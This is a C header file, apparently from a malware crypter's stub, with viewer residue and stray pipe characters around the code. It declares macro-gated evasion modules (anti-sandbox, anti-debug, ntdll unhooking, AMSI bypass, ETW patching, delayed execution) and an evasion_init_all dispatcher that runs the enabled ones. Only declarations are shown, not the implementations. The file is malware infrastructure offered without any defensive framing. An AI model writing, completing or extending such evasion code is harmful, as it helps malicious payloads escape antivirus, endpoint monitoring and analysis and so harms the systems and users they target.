54 lines
1.1 KiB
C
54 lines
1.1 KiB
C
#ifndef EVASION_H
|
|||
|
|
#define EVASION_H
|
||
|
|
|
||
|
|
/* Each evasion module provides a single init function.
|
||
|
|
* The crypter engine defines EVASION_xxx macros to enable/disable each one.
|
||
|
|
* stub_main.c calls evasion_init_all() which conditionally invokes them. */
|
||
|
|
|
||
|
|
#ifdef EVASION_ANTI_SANDBOX
|
||
|
|
void evasion_anti_sandbox_init(void);
|
||
|
|
#endif
|
||
|
|
|
||
|
|
#ifdef EVASION_ANTI_DEBUG
|
||
|
|
void evasion_anti_debug_init(void);
|
||
|
|
#endif
|
||
|
|
|
||
|
|
#ifdef EVASION_UNHOOK_NTDLL
|
||
|
|
void evasion_unhook_init(void);
|
||
|
|
#endif
|
||
|
|
|
||
|
|
#ifdef EVASION_AMSI_BYPASS
|
||
|
|
void evasion_amsi_init(void);
|
||
|
|
#endif
|
||
|
|
|
||
|
|
#ifdef EVASION_ETW_PATCH
|
||
|
|
void evasion_etw_init(void);
|
||
|
|
#endif
|
||
|
|
|
||
|
|
#ifdef EVASION_DELAYED_EXEC
|
||
|
|
void evasion_sleep_init(void);
|
||
|
|
#endif
|
||
|
|
|
||
|
|
static inline void evasion_init_all(void) {
|
||
|
|
#ifdef EVASION_DELAYED_EXEC
|
||
|
|
evasion_sleep_init();
|
||
|
|
#endif
|
||
|
|
#ifdef EVASION_ANTI_SANDBOX
|
||
|
|
evasion_anti_sandbox_init();
|
||
|
|
#endif
|
||
|
|
#ifdef EVASION_ANTI_DEBUG
|
||
|
|
evasion_anti_debug_init();
|
||
|
|
#endif
|
||
|
|
#ifdef EVASION_UNHOOK_NTDLL
|
||
|
|
evasion_unhook_init();
|
||
|
|
#endif
|
||
|
|
#ifdef EVASION_AMSI_BYPASS
|
||
|
|
evasion_amsi_init();
|
||
|
|
#endif
|
||
|
|
#ifdef EVASION_ETW_PATCH
|
||
|
|
evasion_etw_init();
|
||
|
|
#endif
|
||
|
|
}
|
||
|
|
|
||
|
|
#endif /* EVASION_H */
|